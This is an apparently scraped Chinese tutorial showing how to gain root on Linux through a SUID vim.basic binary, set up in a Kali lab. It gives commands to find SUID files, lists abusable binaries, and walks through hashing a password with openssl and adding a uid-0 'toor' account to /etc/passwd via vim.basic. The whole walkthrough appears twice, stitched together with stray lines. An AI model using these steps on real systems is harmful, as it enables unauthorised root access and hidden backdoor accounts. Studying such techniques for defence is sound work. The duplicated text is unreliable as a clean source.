系统安全:讲解Linux使用suid vim.basic文件实现提权

在kali上复现

先给需要的vim.basic文件设置suid权限

chmod u+s /usr/bin/vim.basic

先adduser test1一个普通权限用户

现在就是一个合适的提权环境

通过以下命令可以找到存在suid权限的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

可用于提权的文件有

  • nmap
  • vim
  • find
  • bash
  • more
  • less
  • nano
  • cp

利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户

passwd文件用户格式为:用户名:密码:uid:gid:注释:home目录:用户的shell

这边可以看看root用户的格式

root:x:0:0:root:/root:/bin/bash

(密码这部分之所以是x,是因为真正的密码存在/etc/shadow文件里)

生成密码:用openssl passwd -1 –salt asd 123 (这里是-1(数字1)不是L)

直接写在passwd文件里面,

toor:$1$asd$sTMDZlRI6L.jJEw2I.3×8.:0:0:root:/toor:/bin/bash

用vim /etc/passwd可以修改,但是在保存是会出现E212,无法保存,提示我们没有权限修改这个

这时应该用之前find找到的vim.basic文件运行,这个程序是有suid权限的。绝对可以修改

vim.basic /etc/passwd

用这个打开,然后修改文件,就可以成功保存

可以看到已经添加了,su toor切换,密码123,再id查看一下权限

root权限

chmod u+s /usr/bin/vim.basic

在kali上复现

先给需要的vim.basic文件设置suid权限

chmod u+s /usr/bin/vim.basic

先adduser test1一个普通权限用户

现在就是一个合适的提权环境

通过以下命令可以找到存在suid权限的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

可用于提权的文件有

  • nmap
  • vim
  • find
  • bash
  • more
  • less
  • nano
  • cp

利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户

passwd文件用户格式为:用户名:密码:uid:gid:注释:home目录:用户的shell

这边可以看看root用户的格式

root:x:0:0:root:/root:/bin/bash

(密码这部分之所以是x,是因为真正的密码存在/etc/shadow文件里)

生成密码:用openssl passwd -1 –salt asd 123 (这里是-1(数字1)不是L)

直接写在passwd文件里面,

toor:$1$asd$sTMDZlRI6L.jJEw2I.3×8.:0:0:root:/toor:/bin/bash

用vim /etc/passwd可以修改,但是在保存是会出现E212,无法保存,提示我们没有权限修改这个

这时应该用之前find找到的vim.basic文件运行,这个程序是有suid权限的。绝对可以修改

vim.basic /etc/passwd

用这个打开,然后修改文件,就可以成功保存

可以看到已经添加了,su toor切换,密码123,再id查看一下权限

root权限

chmod u+s /usr/bin/vim.basic

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。


数据运维技术 » 系统安全:讲解Linux使用suid vim.basic文件实现提权